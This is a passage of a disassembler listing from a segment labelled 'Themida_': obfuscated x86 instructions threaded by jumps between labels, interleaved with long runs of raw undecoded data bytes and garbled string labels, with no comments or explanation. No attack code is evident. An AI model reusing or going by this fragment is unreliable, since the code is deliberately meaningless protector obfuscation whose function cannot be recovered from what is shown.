esi, ebx push dword ptr [esp] pop ebx push 5558h mov [esp], edi mov edi, esp add edi, 4 push eax mov eax, 4 add edi, eax mov eax, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp sub esi, 16192D2Ah and esi, 67B10A01h not esi push 3A4h mov [esp], ebx mov ebx, 57E6394Dh shr ebx, 2 push edi jmp loc_55295F ; --------------------------------------------------------------------------- loc_5657BA: ; CODE XREF: Themida_:005600B1j push esp jmp loc_5665B3 ; --------------------------------------------------------------------------- loc_5657C0: ; CODE XREF: Themida_:00553197j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push edi push esi mov esi, 515859DFh mov edi, 54AD1356h jmp loc_5576C9 ; --------------------------------------------------------------------------- loc_5657E1: ; CODE XREF: Themida_:00554BFAj xor ecx, 2BE5441Ah shl ecx, 2 xor ecx, 0F6BE7778h jmp loc_554098 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240483h, 4C18159h, 50000000h, 4B8h, 8BC10100h, 0C4832404h dd 240C8704h, 4BA525Ch, 55000000h, 99BDh, 5DEE0168h, 0E953D601h dd 0FFFF7138h ; --------------------------------------------------------------------------- loc_56582C: ; CODE XREF: Themida_:00558CB9j add cl, al pop eax jmp loc_565E75 ; --------------------------------------------------------------------------- dd 0B4240489h, 0C0ECD080h, 0F48607ECh, 0F486D6F6h, 0F43E9h db 0 ; --------------------------------------------------------------------------- loc_565849: ; CODE XREF: Themida_:00562992j mov ebx, 1 push edx jmp loc_556501 ; --------------------------------------------------------------------------- loc_565854: ; CODE XREF: Themida_:0055DA7Ej mov [esp], edx mov edx, 664F2817h push ebp mov ebp, 3DE83BE5h xchg ecx, ebp inc ecx xchg ecx, ebp add ebp, 57445851h jmp loc_557A0C ; --------------------------------------------------------------------------- dw 0C89h dd 34FF5D24h, 54555924h, 4C5815Dh, 81000000h, 4C5h, 242C8700h dd 5A24248Bh, 0BC1AE32Dh, 5E80148h, 48BC1AE3h, 55242C8Bh dd 0FF5B3EE9h, 4BE56FFh, 1000000h, 24348BF5h, 0FFD2D4E9h db 0FFh ; --------------------------------------------------------------------------- loc_5658B5: ; CODE XREF: Themida_:0055DDE7j xor edx, 2873FF9Ch and edi, edx pop edx jmp loc_5603E6 ; --------------------------------------------------------------------------- db 29h dd 0D604E9D7h, 34FFFFFFh, 0E9575824h, 0FFFF4536h, 3CE9F088h db 5Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5658DB: ; CODE XREF: Themida_:00552FD8j sub eax, edx push 2E82h jmp loc_564D4B ; --------------------------------------------------------------------------- db 0C0h dd 0E98006E9h, 8BCC28D2h, 0C481240Ch, 4, 0FFC845E9h, 4C483FFh dd 0FEEA5FE9h, 49D9F7FFh, 34B6F181h, 0CE011670h, 0FF01CBE9h dd 0CBE9ADFFh, 83FFFF10h, 48904ECh, 0D266E924h, 295AFFFEh dd 24348BF3h, 104C483h, 0D711E9CBh, 2C89FFFEh, 175DE924h dd 3C330000h, 243C3124h, 5C243C33h, 4C481h, 2CE90000h db 24h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565953: ; CODE XREF: Themida_:005549EBj push edi mov edi, esp push edx push eax push 47CB2250h pop eax shl eax, 6 not eax jmp loc_55DD8C ; --------------------------------------------------------------------------- dd 88E9B652h, 24148BF4h, 8804C483h, 0EAC058E2h, 0B4506607h dd 66E22032h, 0B2525358h, 5E950FCh, 51FFFF59h, 553414B9h dd 0D297E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565996: ; CODE XREF: Themida_:00565082j mov [esp], ebp sub dword ptr [esp], 0FFFFFFFFh pop ebp and ebp, 686609EBh xor ebp, 14301A44h add ebp, 17C001C3h xor edi, ebp mov ebp, [esp] push esi jmp loc_55943D ; --------------------------------------------------------------------------- loc_5659BE: ; CODE XREF: Themida_:0056489Fj push ebx mov ebx, 4 mov edx, ebx pop ebx jmp loc_55BCC8 ; --------------------------------------------------------------------------- dd 0F53BE958h, 3489FFFEh, 58EE924h, 0EE81FFFFh, 0D497CA8h dd 2E1FEE81h, 68583B07h, 2332h, 0FF243489h, 0E9042474h dd 0FFFEE457h, 0F404E956h, 0D188FFFFh, 0E924148Bh, 0FFFF0B6Ch dd 1025E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565A0E: ; CODE XREF: Themida_:005552E1j add [esp+4], edx sub dword ptr [esp+4], 38667A36h pop edx mov eax, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_567286 ; --------------------------------------------------------------------------- loc_565A2C: ; CODE XREF: Themida_:0055DAE8j pop ecx xchg ebx, [esp] jmp loc_558DB4 ; --------------------------------------------------------------------------- loc_565A35: ; CODE XREF: Themida_:0055DBF4j or edi, 564F5F13h dec edi xor edi, 7C5D52AEh sub eax, edi pop edi push eax push edi push edx push 68C17B7Bh mov edx, [esp] add esp, 4 shr edx, 4 add edx, 7794EDBh mov edi, edx jmp loc_55BA19 ; --------------------------------------------------------------------------- loc_565A66: ; CODE XREF: Themida_:0055407Dj add esp, 4 push ebp push ebx jmp loc_554170 ; --------------------------------------------------------------------------- loc_565A70: ; CODE XREF: Themida_:00553465j mov [esp], ebx push ecx mov cl, al mov bh, cl pop ecx not bh mov al, bh jmp loc_562150 ; --------------------------------------------------------------------------- loc_565A82: ; CODE XREF: Themida_:00563A92j push 47E424D9h pop ebp shl ebp, 4 sub ebp, 1F1D0725h mov ecx, ebp jmp loc_55E901 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4832404h, 4C48304h, 62E9D0F7h, 83FFFEE0h dd 0F00104C4h, 2055Eh, 0E5E90000h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565ABB: ; CODE XREF: Themida_:00566C45j pop edx movzx eax, al pop dword ptr [edi+eax*4] jmp loc_5527FE ; --------------------------------------------------------------------------- loc_565AC7: ; CODE XREF: Themida_:00558714j push 671D5590h mov ebx, [esp] push eax push esp pop eax jmp loc_555F62 ; --------------------------------------------------------------------------- db 8Fh dd 7AE92404h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_565ADF: ; CODE XREF: Themida_:00562432j xchg ecx, edx sub edx, 179B639Ah push 6892h jmp loc_55A441 ; --------------------------------------------------------------------------- db 54h, 59h, 56h dd 4BEh, 0E7E98100h, 1691027h, 0E7C181F1h, 5E691027h, 0FFB6B9E9h dd 4EC83FFh, 0FF9349E9h, 2BAFFh, 57500000h, 5E30D468h dd 0EFC15F4Ch, 0CAF78107h, 8111B902h, 8717FF7h, 8DEF815Eh dd 0E936747Eh, 0FFFF2821h, 158DB850h, 91BA3A66h, 293A6615h dd 766DE9C2h, 41BAFFFFh, 81549B47h, 6617BACAh, 21E95071h db 0D2h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565B5F: ; CODE XREF: Themida_:00552E1Aj add ebx, 0D3DB3839h mov edx, ebx mov ebx, [esp] add esp, 4 jmp loc_553784 ; --------------------------------------------------------------------------- loc_565B72: ; CODE XREF: Themida_:00562904j shr edi, 2 push ebp push ecx jmp loc_56506C ; --------------------------------------------------------------------------- loc_565B7C: ; CODE XREF: Themida_:00553398j mov ebp, [esp] add esp, 4 push edi mov edi, 2 sub esi, edi mov edi, [esp] add esp, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_562311 ; --------------------------------------------------------------------------- dw 0BBh dd 81000000h, 0EE2550EBh, 57D30128h, 653821BFh, 56DFF705h dd 0FF33FBE9h, 0A2C781FFh, 52B5A8C6h, 0D689FA89h, 0C7815F5Ah dd 56AB676Eh, 35BEC781h, 0F72943A6h, 35BEEF81h, 0EF8143A6h dd 56AB676Eh, 5839685Eh, 3C890000h, 2474FF24h, 243C8B04h dd 8F04C483h, 42E92404h, 5EFFFFC4h, 0C159CD21h, 0C58108EDh dd 38B51160h, 24348155h, 426F65B8h, 0FFC541E9h, 2C481FFh dd 0E9000000h, 0FFFEDCC3h, 79109D2Dh, 5E80128h, 2879109Dh dd 83242C8Bh, 48704C4h, 24248B24h, 0CE668h, 241C8900h dd 4EC81h, 4890000h, 64796824h, 5CE9719Eh, 55FFFF6Bh, 4BDh dd 246C0100h, 242C8B04h, 4C481h, 34FF0000h, 572DE924h dd 5266FFFFh, 0C2E9B1B6h, 81FFFEF8h, 4C4h, 1ED8100h, 0F7000000h dd 17F581DDh, 0E9BF60ECh, 0FFFF6047h, 8B24048Fh, 0D3662424h dd 0E99C240Ch, 0FFFECB5Eh, 0BB53C829h, 49766EDDh, 0A427BA2Dh dd 0E9D80156h, 0FFFFAEE2h, 4240481h, 8B000000h, 0E6E9242Ch dd 8BFFFF17h, 0C483241Ch, 0C1D8F704h, 840506E0h, 53D698B1h dd 0C7154ABBh, 4EBC138h, 5031EB81h, 0B951727Fh, 35C836A4h dd 8105E9C1h, 0CB567DC9h, 0F9E18118h, 81575B7Dh, 0EC1825E9h dd 98E98102h, 815C064Fh, 0CBFF16E9h, 8D79E9F3h, 0C87FFFFh dd 4895C24h, 0C59E924h, 34FFFFFFh, 0C4835E24h, 24048F04h dd 2404FE5Ch, 0CAD0E99Ch, 0E829FFFEh, 5D2434FFh, 0FFA7D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_565D39: ; CODE XREF: Themida_:00563433j add esp, 4 add eax, edi jmp loc_5546CE ; --------------------------------------------------------------------------- loc_565D46: ; CODE XREF: Themida_:00553096j and ebx, edx mov edx, [esp] sub esp, 4 mov [esp], ebp push esp jmp loc_553B6E ; --------------------------------------------------------------------------- dw 9FBEh dd 520EBF5Dh, 0C52D41BAh, 32C28129h, 81706314h, 0E305D4EAh dd 1EB8E969h, 0D3B80000h, 0D028B2Eh, 41FC15E2h, 0FF16B8E9h dd 4EC81FFh, 89000000h, 0EC83241Ch, 0F46EE904h, 3C89FFFFh dd 5D43E924h, 3430FFFFh, 24343224h, 0F6243430h, 0F06866D6h dd 0C89663Ch, 14AA6824h, 4890000h, 68F08824h, 5CC8h, 88241C89h dd 24E952C3h, 81000015h, 1D619AE9h, 243C8B77h, 0FF06C3E9h dd 14875EFFh, 0C895C24h, 7DC9E924h, 0FF57FFFFh, 5F042474h dd 0E924048Fh, 2D8h, 475BDF31h, 0CCE7814Fh, 477F7A31h dd 6AE9BA52h, 0C2813B6Dh, 5D611DE3h, 0D52CF281h, 0D731B485h dd 73C6055Ah, 792D2DD7h, 0E9787F0Eh, 0FFFF8769h, 8924248Bh dd 0CFE9240Ch, 1FFFEC9h, 0B9515AD0h, 707A4312h, 1E981h dd 0EC830000h, 240C8904h, 0F75B5953h, 5957E9D3h, 0AC68FFFFh dd 89000071h, 0E954243Ch, 0FFFFF235h ; --------------------------------------------------------------------------- loc_565E5C: ; CODE XREF: Themida_:00560E3Ej mov edi, eax pop eax jmp loc_55DC00 ; --------------------------------------------------------------------------- dd 0C80F0C2Dh, 0FBF570Ah, 4769DD4Fh, 0FF35B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_565E75: ; CODE XREF: Themida_:0056582Fj not cl xor cl, 16h jmp loc_561861 ; --------------------------------------------------------------------------- db 81h dd 34042444h, 0E907F815h, 0FFFF061Bh, 4C481h, 0D2E90000h dd 83FFFF51h, 0EBE904ECh, 5EFFFF6Dh, 5C24048Fh, 4BB53h dd 39E90000h, 52FFFFF3h, 2A1DBB53h, 0D6BA6E3Fh, 1E84219h dd 0D6015BDAh, 8324148Bh, 0E6D104C4h, 4EBE681h, 31E940D9h dd 80FFFF3Bh, 0CE8001C6h, 0AC08E993h, 505DFFFFh, 0B95600B8h dd 0C85CE940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565EEA: ; CODE XREF: Themida_:005600D4j add eax, 4 push eax push dword ptr [esp+4] pop eax jmp loc_55530E ; --------------------------------------------------------------------------- dw 3481h dd 0F5669D24h, 0F3815B14h, 14F5669Dh, 0F842E95Fh, 0C89FFFEh dd 131FB924h, 0BA5234D2h, 49BA7802h, 815AD129h, 0EC659CC1h dd 0E9CA291Eh, 0FFFFB23Bh ; --------------------------------------------------------------------------- loc_565F2C: ; CODE XREF: Themida_:00555CC6j sub ebp, 42342205h jmp loc_55C981 ; --------------------------------------------------------------------------- loc_565F37: ; CODE XREF: Themida_:0055F3FDj pop esi mov eax, [esp] add esp, 4 mov eax, [esp] push eax push esp pop eax push ecx push ebp push esi push 6CD467A4h pop esi jmp loc_55A968 ; --------------------------------------------------------------------------- db 68h, 2 dup(0) dd 0BB530000h, 39E9233Bh, 4245C29h, 0EB68505Bh, 0E9000055h dd 0FFFF4A5Dh, 96E9E189h, 68FFFEF5h, 296Eh, 89240C89h dd 0CDBA52E1h, 0F71A374Bh, 164CE9DAh, 815A0000h, 0EF1865C3h dd 0E959532Eh, 0FFFFB7B2h ; --------------------------------------------------------------------------- loc_565F9C: ; CODE XREF: Themida_:005665E1j push edx mov edx, 4 add eax, edx pop edx xchg eax, [esp] pop esp push eax push ecx mov ecx, 4D471BD3h jmp loc_55292D ; --------------------------------------------------------------------------- db 9, 0D7h, 5Ah dd 5A5F5257h, 0FFA570E9h, 24148BFFh, 0FEECE9E9h, 582B35FFh dd 0C1892AA2h, 32C18158h, 81358923h, 0E76BE3E9h, 0E9CD893Dh dd 0FFFF588Fh, 5657DD01h, 0BA350EBEh, 2BF6817Ah, 89371A43h dd 0FD295EF7h, 68505B5Fh, 4, 8124048Bh, 4C4h, 0F23EE900h dd 0E95DFFFEh, 0FFFF659Eh, 5303EEC1h, 93155FBBh, 5BDE29C4h dd 0FF5B26E9h, 0F7E181FFh, 0E9257C78h, 0FFFF78CDh, 5CD168h dd 24348900h, 5E6D31BEh, 26C6811Dh, 551AE125h, 0FF48C9BDh dd 8C94E935h, 0C680FFFFh, 80C6FEFFh, 0DEE978CEh, 8B000009h dd 0E3E92404h db 0CDh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566063: ; CODE XREF: Themida_:0055A3DFj mov edi, 4 add ebp, edi mov edi, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 3298h jmp loc_55E384 ; --------------------------------------------------------------------------- loc_566084: ; CODE XREF: Themida_:005550BCj xor [edx], eax mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_561BA5 ; --------------------------------------------------------------------------- db 0F6h, 0F1h, 66h dd 68CCB60Fh, 2525h, 89241489h, 4EC83E2h, 89243C89h, 4C781E7h dd 81000000h, 4EFh, 243C8700h, 0FEC768E9h, 0E99AB7FFh dd 0FFFEEA60h, 8324248Bh, 2C8904ECh, 81E58924h, 4ECh, 24348900h dd 6759B850h, 40E93E72h, 0FFFFFEFFh, 8B042474h, 60682404h dd 89000041h, 5A542414h, 4EC81h, 4890000h, 1773E924h, 0C481FFFFh dd 4, 0FF1DCDE9h db 0FFh ; --------------------------------------------------------------------------- loc_566115: ; CODE XREF: Themida_:005530A4j sub esp, 4 mov [esp], edx push eax jmp loc_55C8A5 ; --------------------------------------------------------------------------- db 53h, 0E9h, 74h db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566127: ; CODE XREF: Themida_:0055CDC7j mov ah, bh mov ebx, [esp] add esp, 4 pop ecx mov cl, ah pop eax jmp loc_55C497 ; --------------------------------------------------------------------------- loc_56613B: ; CODE XREF: Themida_:0055B84Ej mov [esp], eax mov eax, esp add eax, 4 jmp loc_55594A ; --------------------------------------------------------------------------- dw 4B8h dd 1000000h, 24048BC7h, 4C481h, 0B9510000h, 2, 3359CF01h dd 3C31243Ch, 0EF8DE924h, 487FFFEh, 0C895C24h, 0C1595B24h dd 0F38105EBh, 2A20BD49h, 1C8BD989h, 4C48124h, 81000000h dd 163ECDC2h, 759E96Dh, 66AC0000h, 666E0A68h, 0E9240C89h dd 0FFFEEC82h, 240C8B54h, 8304C483h, 3C8904ECh, 9C40E924h dd 0C783FFFFh, 0D5F9E904h, 0CB89FFFFh, 2434FF59h, 4C48358h dd 0E03EE957h, 0EC83FFFFh, 241C8904h, 2E91BE56h, 0E9562706h dd 0FFFF54ACh, 2A26E952h, 348BFFFFh, 4C48324h, 8904EC83h dd 0DE9243Ch, 89FFFF10h, 25B42404h, 0FEDCB3E9h, 4E5C1FFh dd 0C581DDF7h, 75E2961h, 2A5BC581h, 0EA01B33Eh, 4EC835Dh dd 0FFFCF1E9h, 348758FFh, 24248B24h, 4EC81h, 4890000h dd 55E08924h, 4BDh, 0E9E80100h, 21Fh, 505E5456h, 23B7BE56h dd 0F0890CDBh, 5E2434FFh, 5304C483h, 193466BBh, 0F7DBF77Dh dd 0A5F381DBh, 0E97A3F45h, 0FFFF7C27h, 0C181E189h, 4, 4C181h dd 50E90000h, 83FFFF2Fh, 0EF0104C4h, 68D4B850h, 0D355C74h dd 5702730h, 4E6EF1DAh, 71E9C701h, 56FFFFD8h, 0FFA424E9h db 0FFh ; --------------------------------------------------------------------------- loc_566299: ; CODE XREF: Themida_:0055E6A6j push edi jmp loc_5652B4 ; --------------------------------------------------------------------------- db 1 dd 241C8BD8h, 0E9E68956h, 0FFFFA528h, 4C681h, 34870000h dd 0AC4FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5662BA: ; CODE XREF: Themida_:0056558Dj push esi mov esi, 4 add eax, esi pop esi xchg eax, [esp] mov esp, [esp] movzx ax, byte ptr [eax] push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_55DF08 ; --------------------------------------------------------------------------- loc_5662E1: ; CODE XREF: Themida_:0055E94Ej push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_556C67 ; --------------------------------------------------------------------------- loc_5662F5: ; CODE XREF: Themida_:00562801j mov ecx, 4 add eax, ecx pop ecx xchg eax, [esp] pop esp sub ebx, 49BD6576h sub esp, 4 mov [esp], edx push eax mov eax, 44ED5AFBh mov edx, 7340BA28h sub edx, eax pop eax xor edx, 89719BCh or ebx, edx pop edx xor ebx, 6FB97BA8h sub ebx, 16D28570h push ebx pop esi jmp loc_55B83E ; --------------------------------------------------------------------------- loc_56633A: ; CODE XREF: Themida_:00554182j mov edx, ebp jmp loc_55D41B ; --------------------------------------------------------------------------- loc_566341: ; CODE XREF: Themida_:0055305Fj sub edx, ecx pop ecx and eax, edx push dword ptr [esp] pop edx push 3931h mov [esp], ebp jmp loc_558FCE ; --------------------------------------------------------------------------- db 0B8h dd 2, 59C2C281h, 0C2295852h, 4D8EBB53h, 0C3810846h, 5014FA1h dd 51DFCB81h, 0EBC16B2Ah, 1DF38104h, 295EA4A4h, 87585BDAh dd 8CE92414h, 68FFFF39h, 526h, 24048F54h, 0FF9C79E9h db 0FFh ; --------------------------------------------------------------------------- loc_566399: ; CODE XREF: Themida_:00557F74j pop ecx add esi, 0D08D5614h add eax, 2AD85555h jmp loc_55F987 ; --------------------------------------------------------------------------- dw 74FFh dd 34FF0424h, 5DE95B24h db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5663B7: ; CODE XREF: Themida_:00553A91j mov ecx, edi sub esp, 4 mov [esp], ecx sub dword ptr [esp], 6D093D5Eh push dword ptr [esp] pop ebx jmp loc_55FBFA ; --------------------------------------------------------------------------- db 81h dd 0A46CCEBh, 0F3814B0Ch, 0B145F7A3h, 0FF9A23E9h, 22C781FFh dd 31FB0E1Ah, 2434FFF8h, 81243C8Bh, 4C4h, 2EAA6800h, 25E90000h dd 1FFFF0Ch, 0D1015DEAh, 5A2434FFh, 8104C483h, 2C1h, 240C3300h dd 33240C31h, 665C240Ch, 9C2404FFh, 0FEC3D9E9h, 68FC68FFh dd 4890000h, 4B824h, 0BE560000h, 61B37369h, 0FF631CE9h dd 6F095FFFh, 242C8B1Ch, 0FF1933E9h, 4C483FFh, 0D7E9FA31h db 0D8h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566453: ; CODE XREF: Themida_:00556097j xchg ebp, [esp] jmp loc_559F4B ; --------------------------------------------------------------------------- db 5Dh dd 42Dh, 24048700h, 243C895Ch, 0FEF623E9h db 0FFh ; --------------------------------------------------------------------------- loc_56646D: ; CODE XREF: Themida_:00554288j pop ecx sub ebp, 1 xchg ebx, ebp not ebx push ebp push ebx pop ebp pop ebx xor ebp, 0BDDDA70Ah sub ecx, 5C663FD8h add ecx, ebp jmp loc_55C04F ; --------------------------------------------------------------------------- dd 0CDC3815Bh, 5210971h, 318C1652h, 522DD801h, 8B318C16h dd 0C483241Ch, 0D1FEE904h, 468FFFEh, 89000076h, 4832424h dd 3C8B0424h, 4C48124h, 68000000h, 1AFAh, 0BB241C89h, 4 dd 364BA52h, 0EAC1346Ch, 8E2C105h, 5371F281h, 0C781C14Ch dd 492E1C6Dh, 0FF30C0E9h, 7EAC1FFh, 1147E9h, 24D36600h dd 3E99C24h, 8BFFFEC3h, 0C483240Ch, 66CBFE04h, 28F4B151h dd 0C4F2E9CBh, 0D029FFFEh, 242C8B5Ah, 504C483h, 71261ACCh dd 5C0BBF57h, 9AE91121h, 66FFFFDEh, 6824048Bh, 490Fh, 0E9240C89h dd 0FFFF1BA8h, 4C481h, 0C8000000h, 0FFEEACE9h, 34EF81FFh dd 296A3C34h, 0EF10E9CFh, 815DFFFEh, 8C6580C7h, 5FF8892Eh dd 25E9C709h, 0F7FFFF56h, 74ED81DDh, 0E9552B2Dh, 0FFFFBCDCh dd 240C8B66h, 50E08950h, 405E089h, 2D000000h, 4, 5C240487h dd 0BF243C89h, 4, 0FF02D5E9h, 2474FFFFh, 2434FF04h, 4C4815Eh dd 8F000000h, 248B2404h, 24D36624h, 4BE99C24h db 0C2h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5665B3: ; CODE XREF: Themida_:005657BBj pop esi push ebp push edx push 477151BAh jmp loc_5559F4 ; --------------------------------------------------------------------------- dd 8B243C87h, 4012424h, 5AE99C24h db 36h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5665CF: ; CODE XREF: Themida_:0055C8CDj xor edx, ecx jmp loc_555FE8 ; --------------------------------------------------------------------------- dw 0E950h dd 0FFFF656Bh ; --------------------------------------------------------------------------- loc_5665DC: ; CODE XREF: Themida_:0055E83Bj add eax, 4 jmp loc_565F9C ; --------------------------------------------------------------------------- dw 0CB01h dd 5E3EB81h, 14E9476Bh db 0Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5665F3: ; CODE XREF: Themida_:0055FA13j add ebp, 0E168CFCCh and eax, ebp pop ebp add eax, 600C2360h push ebp mov ebp, 6D583105h push ebx mov ebx, 0AAB0A0Bh add eax, ebx pop ebx sub eax, ebp push ecx mov ecx, 0AAB0A0Bh sub eax, ecx pop ecx pop ebp mov ebx, eax pop eax jmp loc_559444 ; --------------------------------------------------------------------------- aLHsg db '‹$$h‘G',0 align 4 dd 0FECC6DE9h db 0FFh ; --------------------------------------------------------------------------- loc_566631: ; CODE XREF: Themida_:005626D7j sub eax, ebx pop ebx add eax, 7ED766C4h add eax, ebx sub eax, 7ED766C4h add eax, 1C385427h pop ebx push dword ptr [edi+eax*4] sub esp, 4 mov [esp], ebx push 19427EB1h mov ebx, [esp] jmp loc_5676DA ; --------------------------------------------------------------------------- db 80h dd 0E8306DEDh, 83240C8Bh, 0C33004C4h, 3FCB951h, 0EB680000h dd 0E9000029h, 0FFFF2A54h, 1ADCBE56h, 0F68104FCh, 448A6A8Dh dd 815EF521h, 2B67F0F5h, 0FFEF895Eh, 815D2434h, 4C4h, 63C78100h dd 81E1B488h, 863548C1h, 81F90168h, 863548E9h, 53565F68h dd 2BBh, 0E9DE8900h, 0FFFFC64Dh ; --------------------------------------------------------------------------- loc_5666C0: ; CODE XREF: Themida_:00562741j add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] mov cx, [esp] add esp, 2 jmp loc_552BF8 ; --------------------------------------------------------------------------- db 50h, 0E9h, 33h dd 83FFFFD4h, 0C86804C4h, 89000033h, 92682414h, 89000052h dd 50E9241Ch, 66FFFFAAh, 5624048Bh, 0FF5CECE9h db 0FFh ; --------------------------------------------------------------------------- loc_566705: ; CODE XREF: Themida_:0056484Aj push esi mov esi, 745B61EBh shr esi, 4 jmp loc_55E42F ; --------------------------------------------------------------------------- aAWaPMSx db '€Ïw€ÇÀP´M(áX',0 dd 4DC180F9h, 28AF2C5Bh, 38B353C8h, 0E908EBC0h, 0FFFF588Fh ; --------------------------------------------------------------------------- loc_566734: ; CODE XREF: Themida_:0055E746j pop eax jmp loc_563B28 ; --------------------------------------------------------------------------- loc_56673A: ; CODE XREF: Themida_:0055BDCDj dec dword ptr [esp] pop edi neg edi jmp loc_558245 ; --------------------------------------------------------------------------- loc_566745: ; CODE XREF: Themida_:00561A05j mov ecx, esp jmp loc_55B29D ; --------------------------------------------------------------------------- dd 4C781h, 0C7810000h, 4, 5C243C87h, 0FF4C63E9h, 54C381FFh dd 817AB149h, 97636FF3h, 0DBF74B79h, 5FA1F381h, 0C381653Dh dd 0F5BDBDA3h, 685BD901h, 7280h, 0E9241489h, 0FFFFF389h dd 0F6FCB151h, 0F151E9D9h, 6857FFFFh, 45216D4Ah, 3E45E95Fh dd 0E958FFFFh, 0FFFFBC01h, 92782925h, 946351Ah, 0EE94E1Fh dd 81FFFFA2h, 4ECh, 24148900h, 2A7D33BAh, 0AAE28123h, 5052490Eh dd 0FF3EC4E9h, 0FFC283FFh, 0FED923E9h, 8BC389FFh, 80E92404h db 4Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5667E3: ; CODE XREF: Themida_:00557B26j shr edx, 1 cmp eax, edx jz loc_55710E push 6873h jmp loc_5610DD ; --------------------------------------------------------------------------- loc_5667F7: ; CODE XREF: Themida_:00560742j xor edx, edi xor edi, edx sub edi, 140F0214h xchg ebx, edi not ebx xchg ebx, edi push edx mov edx, 44B02D88h xor edx, 3EA05237h jmp loc_55F606 ; --------------------------------------------------------------------------- loc_566818: ; CODE XREF: Themida_:00556E60j mov edi, 68B35D85h xor edx, edi jmp loc_5545C9 ; --------------------------------------------------------------------------- loc_566824: ; CODE XREF: Themida_:00560A96j xor esi, 55580539h push ebx push ebp mov ebp, 308C6B2Bh mov ebx, ebp pop ebp sub esi, ebx mov ebx, [esp] jmp loc_55CFF9 ; --------------------------------------------------------------------------- dw 0E981h dd 55C85AE7h, 74ACC981h, 0C98177F8h, 2358313Eh, 1EE168h dd 24348900h, 603125BEh, 136EE93Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566862: ; CODE XREF: Themida_:00553972j sub ecx, 4 jmp loc_55E773 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 52000000h, 630BE3BAh, 57CA8147h, 8176DC42h, 1B4EB8F2h dd 3EAC135h, 822E950h, 17680000h, 8900007Eh, 0BEE9240Ch dd 89FFFEC9h, 10BB241Ch, 817C1975h, 966D16EBh, 2EBC154h dd 0E381DBF7h, 18DA7CFEh, 3BFEEB81h, 5C01101Ah, 8B5B0424h dd 0C483243Ch, 7DBBE904h, 0C781FFFFh, 4, 5C243C87h, 2474FF56h dd 0F43CE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5668DE: ; CODE XREF: Themida_:005595D2j mov ebp, 2E367F5Ch dec ebp neg ebp shr ebp, 2 push ecx jmp loc_557D30 ; --------------------------------------------------------------------------- db 29h dd 0CDEA81CAh, 8B6D163Eh, 8950240Ch, 405E0h, 0C0830000h dd 24048704h, 0DB39E95Ch, 8BBAFFFFh, 1AE02E9h, 2434FFD6h dd 4C4835Ah, 348B5B56h, 4C48124h, 0E9000000h, 0FFFFE2CCh dd 5C241487h, 53241489h, 0FEF7CDE9h db 0FFh ; --------------------------------------------------------------------------- loc_566939: ; CODE XREF: Themida_:0055C394j push esi push dword ptr [esp+4] pop esi jmp loc_561E03 ; --------------------------------------------------------------------------- dd 33119DBFh, 0C640E97Eh, 0EB81FFFEh, 7E9A4300h, 125EE9h db 0 ; --------------------------------------------------------------------------- loc_566959: ; CODE XREF: Themida_:0055E8BDj add edx, 77D1260h mov ebp, [esp] jmp loc_566C6D ; --------------------------------------------------------------------------- db 89h dd 4A7CE9E5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56696E: ; CODE XREF: Themida_:00554962j sub dword ptr [esp+8], 553541C6h add [esp+8], edi add dword ptr [esp+8], 553541C6h mov edi, [esp] add esp, 4 pop ebp pop esi push ebp mov ebp, 17A16A20h push 2E15h mov [esp], edi mov edi, 6A5D5216h add ebp, edi mov edi, [esp] add esp, 4 jmp loc_5577DB ; --------------------------------------------------------------------------- dd 23226C05h, 24348B1Bh, 4EC81h, 2C890000h, 2C8B5424h dd 392CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5669CA: ; CODE XREF: Themida_:0055B2EEj jnz loc_56435E sub esp, 4 jmp loc_5628E2 ; --------------------------------------------------------------------------- db 0F7h dd 72EBE9DEh, 0C481FFFFh, 4, 3AAB6848h, 3C890000h, 9928E924h dd 2489FFFFh, 24048124h, 4, 8B2434FFh, 0C4812434h, 4, 4C481h dd 0BB530000h, 6990707Ch, 0FF90FAE9h, 10E7BEFFh, 0F30104B0h dd 3C8B585Eh, 4C48124h, 0E9000000h, 0FFFFEBA6h, 0FEBDC5E9h dd 0B45051FFh, 31F480EBh, 0E902E4C0h, 0FFFFD860h ; --------------------------------------------------------------------------- loc_566A48: ; CODE XREF: Themida_:00561E34j xor esi, 40CA41C4h add edx, esi pop esi mov ecx, edx pop edx jmp loc_55834B ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 890005B9h, 0FC18170h, 0E95A4B72h, 0FFFF82C9h, 0E95FFA89h dd 0FFFEF6B6h ; --------------------------------------------------------------------------- loc_566A74: ; CODE XREF: Themida_:00559D4Fj add ebx, 4 add ebx, 4 